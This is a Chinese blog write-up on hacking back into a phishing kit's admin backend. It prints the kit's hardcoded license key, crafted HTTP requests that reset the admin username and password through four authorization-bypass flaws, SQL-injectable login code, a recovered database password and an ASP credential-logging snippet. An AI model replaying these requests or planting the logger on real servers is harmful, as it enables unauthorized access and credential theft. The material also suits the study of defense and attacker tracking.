1. 程式人生 > 其它 >越權漏洞反制釣魚網站

越權漏洞反制釣魚網站


這次的案件源自於很久以前外部HC單位對某司的釣魚攻擊。文章中的原始碼是ASP版本的釣魚框架紫X,但是ASP原始碼中存在越權訪問漏洞所以可以才得以打到攻擊者的後臺。在同段IP的掃描中根據中介軟體的版權資訊可以獲取同類型的釣魚管理後臺。詳細內容在後續章節逐一介紹攻破思路和方法。

回到頂部

一、事件背景

企業郵箱收到了仿造Outlook Web App介面的釣魚郵件。應該是想要釣魚我們公司員工的郵箱賬戶。攻擊者Outlook釣魚頁面:


二、反制過程

滲透測試是紅隊人員對目標單位的攻擊,反制是目標單位的藍隊人員對紅隊人員的反向滲透測試。所以把這個反紅隊過程也叫做反制。反制和滲透測試一個正常網站沒有差別。除了對目標IP的資訊收集、漏洞挖掘外增加了同類系統擴充套件掃描、受控範圍定位、人頭威脅情報的搜尋。通用行業的滲透講究找出漏洞防患於未然,反制更多是對攻擊者的一系列資產蒐集,然後挖出受控者和攻擊者的身份資訊為主。

資訊收集

面對單個IP的資訊收集,常用的方法是敏感檔案、埠掃描、弱口令測試、旁站域名。這裡有一個技巧,主要的C2找不到後臺的時候,掃描埠再做目錄掃描是可以有機率得到其他後臺資訊的。攻擊者一樣會做應用和管理後臺分離訪問。圖中的2301埠就是可疑埠,下圖是埠掃描的結果:

弱口令漏洞挖掘

除了SSH和RDP暴力破解外,這些服務性質的埠是可以嘗試的。掃描出來的21服務類埠FTP做口令破解,可以看到FTP有匿名訪問,但登入之後訪問不到WEB檔案。

祭出dirsearch對後臺做目錄掃描, 對80埠掃描不出敏感檔案的時候,換到不同埠再嘗試掃描網頁檔案。這次切換的是2301埠敏感檔案掃描得到後臺頁面:http://xxx.xxx.xxx.xxx:2301/admin.asp。其中比較有用的資訊,MANAGEQQ管理系統,紫X設計工作室(WWW.CKZZ.NET)

掃描出來的後臺已經暴露出釣魚程式名稱、版本年限、埠、原始碼裡面也有特別的字元,在百度網盤搜尋引擎搜尋能得到很多結果。 花時間在找原始碼的過程比較長,復現文章時網盤搜尋已經搜尋不出來了,僅存的幾個ASP原始碼已經取消分享。以下是我在百度網盤搜尋引擎裡搜尋得到的紫X釣魚原始碼架構截圖:

搭建起來版本號是20150502的,跟目標原始碼長得不太一樣。但是測試的幾個檔案都是跟目標站一樣的。後臺樣式截圖如下:

ASP程式碼審計跟審計其他指令碼語言區別不大,我覺得小語種程式碼審計雖然沒有編輯器可以很方便除錯輸出結果,但是利用輸出語句和條件判斷、終止語句能跑起來就可以實現對小語種程式碼審計,因為偵錯程式起到的作用就是斷點和輸出變數的作用而已,熟悉原理一樣可以實現除錯和分析。
ASP除錯和執行SQL語句的方法說明:

輸出語句
Response.Write ""&username&"' ------ '"&password&""

資料庫操作
set rs=server.CreateObject("adodb.recordset") ‘建立一個數據集
set rs=server.CreateObject("adodb.recordset") ‘建立一個數據集的例項
rs.open ...... ‘開啟一個記錄集
rs.addnew ‘新增記錄到資料表末端
rs.update ‘更新資料表記錄

這款ASP釣魚原始碼比較簡單,沒有上傳、命令執行類漏洞可以直接利用,XSS之前已經黑盒子試過了沒有反饋,感覺應該是做了過濾。況且已經掃到後臺地址,拿到原始碼後先看看有沒有機會可以越權進後臺頁面拿到受控者的資料。
從配置檔案開始找起,在WEB根目錄裡的Web.box檔案89行,可以看到訪問2301埠是指向管理後臺目錄\wwwroot_Manager_##_#@#。

# 設定NetBox.HttpServer物件
Set http3 = CreateObject("NetBox.HttpServer")
# 監聽2301埠
If http3.Create("", "2301") = 0 Then
# 新增訪問目錄
Set www = http3.AddHost("", "\wwwroot\_Manager_##_#@#")
www.EnableScript = true
www.AddDefault "ckzz_ec.asp"
http3.Start
end if

搜尋紫X設計工作室(WWW.CKZZ.NET) 在wwwroot_manager_##_#@#\index.asp找到了後臺登入驗證頁面。自己下載一個netbox載入web.box就可以脫離紫X已經封裝好的原始碼了, 因為配置引數都是預設有的。後臺的介面比較少,沒找到可以不登入就直接訪問的頁面。遂放棄~

SQL注入

原始碼很多地方都是沒有過濾就呼叫外部傳參的變數。管理員表Manager,欄位名ZY_UserName、ZY_PassWord。密碼加密方式有點變態,SQL注入出來密文稍微複雜點的明文密碼肯定是解不開了。

資料庫表名搜尋到的查詢語句部分傳參到資料庫中查詢,但是SQL注入讀取出來的密碼很難解開的。原理是先用sha256加密了一次除去密碼的空格,然後用base64Encode編碼後再sha256加密一次,具體原始碼部分如下:

# 資料庫查詢部分
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"

# 密碼加密方式
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))

登入部分不會解開密文成明文,而是把使用者登入的明文密碼用同樣加密方式把明文密碼加密後對比存在資料庫裡的密文密碼。當時釣魚站點存在的時候由於Access資料庫的SQL注入不知道WEB目錄的絕對路徑,沒法匯出webshell。也就直接放棄繼續搜尋SQL注入的想法。登入介面認證部分程式碼wwwroot_manager_##_#@#\index.asp 23~52行:

'提交驗證開始
if Request.form.count>0 then
ip=request.ServerVariables("REMOTE_ADDR")
session("fileget")=Server.MapPath(".")
‘ 接收使用者名稱
username=replace(trim(request("username")),"'","")
‘ 加密密碼對比資料庫裡的密文
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))
Session("passwordup")=base64Encode(sha256(base64Encode(mid(sha256(request.form("passwordup")),16,32)+mid(Reg("ckzz_gen_key"),8,16))))
CheckCode=replace(trim(request("CheckCode")),"'","")
'判斷管理帳戶和密碼不能為空
If username="" or password="" then
Call Box("管理帳戶和登入密碼不能填空!")
End if
'判斷驗證碼
If cstr(trim(session("getcode"))) <> cstr(trim(Request("code"))) then
Call boxurl("驗證碼錯誤,返回重新輸入!","?")
End If
'驗證開始
set Rs=Server.CreateObject("adodb.recordset")
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"
rs.open sql,conn,1,1
if rs.eof and rs.bof then
Call Infozt("登入帳戶或密碼錯誤!")
Call Box("管理帳戶或登入密碼不正確,請重新輸入!")
else
'帳戶被禁用或遠端關閉
if rs("kick")=true then
Call Infozt("登入帳戶已禁用!")
Call Box("管理帳戶被禁用或於主站關閉登入許可權!")
end if
Call Infozt("登入密碼驗證完成,登入成功!")

越權修改密碼漏洞挖掘

當已經確認SQL注入搞下來密碼也破解不開密文,而且進了後臺也不一定拿SHELL後。就把找越權訪問漏洞、SQL注入漏洞、XSS漏洞思路變換為找越權修改漏洞,因為反制未必需要webshell才能做到追蹤攻擊者。我按照rs.update更新資料表記錄找了4處越權修改管理員密碼漏洞。每一個都比上一個驗證玄幻。Haha~

越權1-越權修改密碼

第1處越權修改密碼漏洞主要是源自於紫X是商業釣魚框架,所以需要授權碼才能使用,但是網上的破解版本似乎洩露的授權碼都是一樣的。所以造成了這個漏洞。
搜尋request()函式找呼叫引數的時候發現/ckzz_ec.asp檔案的傳參可以控制。接收的key引數跟資料庫裡的ckzz_gen_key欄位匹配就可以修改管理員密碼、重啟服務。

# 接收action引數
If Request("action")="manager" Then
dim username,password1,password2,rss
Set Reg = Conn.Execute("Select * from ckzz_reg")
username=request("username")
password1=request("password")
password2=request("tpassword")
# 接收key引數
key=request("key")
if password1<>password2 then
response.write "passerror"
response.end
End if
# key引數與資料庫表裡的ckzz_gen_key對比,如果錯誤就結束後續操作
if key<>Reg("ckzz_gen_key") then
response.write "keyerror"
response.end
set reg=nothing
End If
# 最後修改管理員密碼
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from Manager where zy_username='"&username&"'"
rs.open sql,conn,1,3
rs("zy_password")=sha256(base64Encode(sha256(password1)))
rs.update

那麼從程式碼看ckzz_gen_key是一個很重要的值,找資料庫看看錶結構就可以清楚作用了。直接檢視MDB資料庫發現是有密碼加密的。那麼只好翻資料庫配置檔案,然後看看正常邏輯下是怎麼呼叫的資料庫。

<%
Dim Conn,Connstr
# &Netbox("DB")& 應該就是資料庫的相對路徑
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;data source="& Server.MapPath("../../Ckzz_DataBase/"&Netbox("DB")&"")&";persist security info=false;jet OLEDB:Database Password="&Netbox("DBP")&""
Set Conn=Server.CreateObject("adodb.connection")
Conn.Open Connstr
%>

NetBox("DBP")應該就是資料庫的路徑位置。然後全域性搜尋發現NetBox("DBP")是呼叫的web.box裡11~14行。Zy.dll裡的CKZZ_DB()函式:

Shell.RegisterServer "ZY.DLL"
Shell.RegisterServer "Jmail.dll"
Set ZYQQ = Netbox.CreateObject("ZY.QQ")
path =NetBox.ApplicationPath  
NetBox.ConfigFile = path & "ManageQQ.ini" 
NetBox("DB")=ZYQQ.CKZZ_DB(1)
NetBox("DBP")=ZYQQ.CKZZ_DB(2)

ZY.DLL查殼是Microsoft Visual Basic 6.0 DLL寫的DLL,VB寫的二進位制檔案可以反編譯看程式碼。這裡可以看到反編譯後的程式碼資料庫呼叫路徑是是###www.ckzz.net###.accdb。資料庫的加密密碼是:www.ckzz.net.acc2003

開啟資料庫得到Ckzz_gen_key欄位的值是94ebb60031c67eb0b42774de007dad3b,這段就是釣魚程式的授權驗證碼。

好的,拿出這個洩露後濫用的授權碼,構造HTTP資料包在本地測試一下。

GET /ckzz_ec.asp?action=manager&username=admin&password=admin&tpassword=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: 192.168.229.128:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LRFZKRHDQNCTVVIMERCO=CKSRDIZMQNDMCSWBOWRWYNLJPTLUJUTFOCUYJOZC; OTOUPMOKFXIWFSKOEQID=MZGVGBDHXVMUHLEZWMCZXMZWEDNBJXXQGTUYSTZB
Connection: close

密碼修改成功效果,顯示出editok的時候,就感覺已經修改成功了。:

為了驗證資料庫裡的密碼是不是已經被修改了。我使用程式後臺介面自帶的sha12base642sha1的加密函式把明文密碼加密後的密文跟資料庫裡的密文對比了一下,為了驗證我寫了一段記錄後臺賬戶密碼的ASP程式碼。往登入介面一插就能用,然後用正確密碼登入之後擷取明文密碼加密後的密文,後面越權漏洞改管理員密文的時候還可以用到這幾段密文。

dim fs,f,sw
Set fs = Server.CreateObject("Scripting.FileSystemObject")
Const saveFilePath = "c:\test.txt"

if fs.FileExists(saveFilePath) then
  set f=fs.OpenTextFile(saveFilePath,8,true)
  f.WriteLine("'"&username&"' ------ '"&password&"'")
  f.Close
else
  Set f = fs.CreateTextFile(saveFilePath, True)
  f.WriteLine("'"&username&"' ------ '"&password&"'")
  f.Close
end if
set f=Nothing
set fs=nothing

對應的密文:

'admin' ------ '70a647030002098aea97e7fcfa35fdcbf5cd5890f3de45af1df654f0995eb816'
'admin1' ------ '171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d'
'123456' ------ '39dc0e09acb949e9369083ca020d044e6e1016505cc0505e6bf19bbbf8835cb7'

真實環境測試不需要二級密碼也可以修改管理員密碼,可能是跟釣魚頁面原始碼用的攻擊者都使用同一個授權key有關係。二級密碼驗證部分的程式碼被註釋了。這個故事告訴我,白嫖雖然香,但也容易出問題~。
原後臺雖然有個登入框會向遠端伺服器地址發HTTP請求獲取二級密碼做驗證。但是我從ZY.DLL提取到的二級密碼獲取網址已經掛了。所以這裡的測試不需要二級密碼驗證也可以正常登入。

越權2-越權修改使用者名稱

第2處越權是發現可以通過授權key修改管理員密碼之後,順著這個線索又發現通過授權key可以做很多操作。看檔名,這套釣魚原始碼框架似乎還可以通過API檔案操作修改賬戶資訊。比如Ckzz_manager_api.asp 5行~38行。如果修改密碼失敗,還可以用key值修改使用者名稱。也就意味著就算管理員改了admin預設名賬戶,我依舊把改掉管理員的賬戶成admin,再改管理員密碼。

# 修改使用者名稱操作,先接收要修改的管理員名字
if Request.QueryString("action")="edit_username" then
	username = trim(request("username"))
	key = trim(request("key"))
	if username="" then
	response.write "error"
	response.end()
	end if
	reg_sql="select * from ckzz_reg"
	set reg_rs=Server.CreateObject("ADODB.Recordset")
	reg_rs.open reg_sql,conn,1,1
# key引數與資料庫表裡的ckzz_gen_key對比,如果錯誤就結束後續操作
	if reg_rs("ckzz_gen_key")<>key then
	response.write "error"
	response.end()
	end if
# 修改管理員賬戶
	set rs = Server.CreateObject("ADODB.RecordSet")
	sql = "select * from Manager where id=1"
	rs.open sql,conn,1,3
	rs("zy_username")=username
	rs.update
	rs.close
# 增加一條資料庫記錄
	set rs = nothing
	set reg_rs = nothing
	set rss=Server.CreateObject("adodb.recordset")
	sql="select * from log"
	rss.open sql,conn,2,3
	rss.addnew
	rss("user_name")="WWW.CKZZ.NET"
	rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
	rss("times")=now()
	rss("zhuangtai")="程式管理主站修改後臺帳戶,新帳戶為:"&username
	rss.update
	response.write "ok"
	response.end()
	end if

對比資料庫確實成功修改了使用者名稱,為了修改使用者名稱構造的HTTP資料包如下:

GET /ckzz_manager_api.asp?action=edit_username&username=admin&key=94ebb60031c67eb0b42774de007dad3b  HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


越權3-越權修改密碼

前面的程式碼已經可以看出通過API檔案操作可以修改賬戶Ckzz_manager_api.asp。繼續分析Ckzz_manager_api.asp 39行~72行,發現還是可以用key值修改密碼。

# 接收要修改的密碼
	if Request.QueryString("action")="edit_password" then
	password = trim(request("password"))
	key = trim(request("key"))
	if password="" then
	response.write "error"
	response.end()
	end if
	reg_sql="select * from ckzz_reg"
	set reg_rs=Server.CreateObject("ADODB.Recordset")
	reg_rs.open reg_sql,conn,1,1
# key引數與資料庫表裡的ckzz_gen_key對比,如果錯誤就結束後續操作
	if reg_rs("ckzz_gen_key")<>key then
	response.write "error"
	response.end()
	end if	
# 修改ID=1的記錄裡的密碼
	set rs = Server.CreateObject("ADODB.RecordSet")
	sql = "select * from manager where id=1"
	rs.open sql,conn,1,3
	rs("zy_password")=sha256(base64Encode(sha256(password)))
	rs.update
	rs.close
	set rs = nothing
	set reg_rs = nothing
	set rss=Server.CreateObject("adodb.recordset")
	sql="select * from log"
	rss.open sql,conn,2,3
	rss.addnew
	rss("user_name")="WWW.CKZZ.NET"
	rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
	rss("times")=now()
	rss("zhuangtai")="程式管理主站修改後臺密碼,新密碼為:"&password
	rss.update
	response.write "ok"
	response.end()
	end if

構造資料包,用admin1的密文是
171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d。對比資料庫裡的密文值,又修改成功了:


GET /ckzz_manager_api.asp?action=edit_password&password=admin1&key=94ebb60031c67eb0b42774de007dad3b  HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

越權4-弱條件修改使用者名稱&密碼

第4處越權修改使用者名稱和密碼的漏洞。只要判斷是不是有cookie值而不需要登入成功也可以執行修改賬戶密碼的操作。
仔細分析ckzz_manager.asp這個檔案,。10行~40行程式碼。ID為空就越權修改使用者表第一條記錄的使用者密碼。ID不為空還能越權修改使用者名稱,具體程式碼如下:

# 接收引數為edit_manager
if Request.QueryString("action")="edit_manager" then
	id = trim(request.form("masterid"))
	password = trim(request.form("password"))
	repassword = trim(request.form("repassword"))
# 如果repassword跟password引數相等,並且不為空就通過驗證
	if password=repassword and repassword<>"" then
			set rs = Server.CreateObject("ADODB.RecordSet")
			sql = "select * from manager where id=1"
			rs.open sql,conn,1,3
# 等於空就修改密碼
			if id="" then
			rs("zy_password")=sha256(base64Encode(sha256(password)))
			rs.update
			rs.close
			set rs = nothing

    		set rss=server.CreateObject("adodb.recordset")
			sql="select * from log"
			rss.open sql,conn,2,3
			rss.addnew
# 賦值session("admin")
			rss("user_name")=session("admin")
			rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
			rss("times")=now()
			rss("zhuangtai")="修改後臺密碼,新密碼:"&password
			rss.update
  # 不等於空就修改使用者名稱和密碼
			end if
			if id<>"" then
			rs("zy_username")=id
			rs("password")=sha256(base64Encode(sha256(password)))
			rs.update
			rs.close
			set rs = nothing

構造資料包:

POST /ckzz_manager.asp?action=edit_manager  HTTP/1.1
Host: localhost:2301
Content-Length: 41
Cache-Control: max-age=0
Origin: http://localhost:2301
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:2301/index.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GGOQPPUJGYTZLLPQEVMT=FTTGSOBVCLRDXIIQDKCTHFNCTPAUBWNVQGWEUSID; ts_uid=9255500360; LQAZPFPBDVYRXSJYFBEM=GFGVTJKZPZBGXXZGGLRZKJGYXRXWWFJTMGHNRCJR; GFVJPNNMAPEHZFPDTCDN=SKALNLNSTBIIOSPSFRENTXXFTKBMJPQDJBGXMTEU; ZZZUNOAQTQJRYRVYWWME=DDCJYWLVVADMRTDDDJZJCLOJCKPITYYAABBMRTES; QCUMJQUFSFTTAOOFXLYS=ABSXGDZGTYUFCFSSEUVZJQHIOGWJLAAMYPUWVSYF; QRPHUYXBKFAJADLUAPMZ=INJNKFQTDNRYVBLMJEPUEQRBLGFDSXYZRGZVYWRW; cs=Robot/%3FXTWJBTDNNQVRCQHHCOFLZMOGDLRGEKXVPLTUAIHC; ZBDUWICVXKRMTPZCQEHZ=SPISPZEULDQPJHRMCIBLPVISLZKWHABMYOANDKYK; DHDYCBOINVIOMKIPOKSG=FEFZNNVESNTMDLTZGNDDXDPHFWNBMTHUCTSZKOPG
Connection: close

masterid=&password=admin&repassword=admin

觸發這個漏洞要經過/include/Check.asp檔案2行6行的驗證。可是這個條件其實是在訪問登入後臺index.asp頁面的時候有過賦值session("fileget")=Server.MapPath(".")。這樣的話只要把index.asp的驗證cookie替換到我構造的資料包裡就能實現任意修改使用者名稱和密碼了,不再受之前那幾個越權改密碼還需要授權key的限制。只要訪問下管理員後臺首頁得到會話值,/include/Check.asp檔案2行6行的驗證程式碼如下:

if session("fileget")<>Server.MapPath(".") then
Session.Abandon()
Response.Write("<script>alert('目錄認證錯誤,請返回重新登入!');top.location='index.asp';</script>")
Response.end
rs.close

三、梳理攻擊者資訊

進了後臺後先記錄下後臺登入IP:1xx.xxx.xxx.xxx、xxx.xxx.xxx.2xx,信封XX封

資產掃描

通過埠、中介軟體資訊掃描獲取同類型釣魚網站的範圍。

發件郵箱判斷受控

翻發件郵箱裡的IP:XXX.XXX.XX.XX反查繫結的域名發現是一個公司的網站,應該是正常的。而直接訪問是通達OA?看起來很像是正常單位被搞了作為跳板。

再後續反查釣魚網站域名的訪問量、Whois得到註冊人QQ就不展開了。

四、總結

總結其實是很重要的,我把所有嘗試失敗的過程都寫進去,因為順暢的過程記錄未必是最好的。只是這樣的方法更適合我自己。這次反制成功的線路覆盤是這樣的。

  • 1、WEB 80埠掃描不出來敏感資訊,掃描到不同埠再嘗試掃描網頁檔案。得到攻擊者後臺
  • 2、通過後臺的「紫X設計工作室(WWW.CKZZ.NET)」 的字串,在百度網盤找到原始碼
  • 3、審計常規SQL注入漏洞、上傳漏洞發現沒有可以利用的地方,轉向越權漏洞,發現可以修改管理員密碼可以進去後臺
  • 4、釣魚原始碼裡面有一個授權KEY是固定的。可以用來修改管理員密碼
  • 5、不知道管理員使用者名稱的情況下,可以用授權KEY修改管理員使用者名稱
  • 6、API介面檔案也可以呼叫授權KEY修改管理員密碼
  • 7、後臺改密碼檔案只驗證有沒有cookie值存在作為判斷修改密碼條件,而不判斷cookie是不是成功登入狀態
  • 8、通過上線信封來判斷受害者身份和數量、IP地址
  • 9、通過管理員登入後臺IP地區判斷攻擊者的IP

五、最後

紫X釣魚伺服器是放在阿里雲的,很早之前被端過。貌似有人提到過這套系統有其他漏洞,但不願意說方法。我感覺技術遲早會過時,沒有什麼好保密的。覆盤自己的知識點是為了與同樣愛好者共同進步和提升。我原帖寫在吐司論壇:https://www.t00ls.net/thread-58941-1-1.html,

釣魚原始碼和資產收集工具也丟了進去。

博主簡介:博主國內安全行業目前最強大的網路安全公司做技術研究員,常年做技術工作。 獲得過以下全國競賽大獎: 《中國電子作品大賽一等獎》 《雲端計算技術大賽一等獎》 《AIIA人工智慧大賽優勝獎》《網路安全知識競賽一等獎》 《高新技術個人突出貢獻獎》,並參與《虛擬化技術-**保密**》一書編寫,現已出版。還擁有多項專利,多項軟體著作權! 且學習狀態上進,立志做技術牛逼的人。座右銘:在路上,永遠年輕,永遠熱淚盈眶。可郵件聯絡博主共同進步,個人郵箱:[email protected]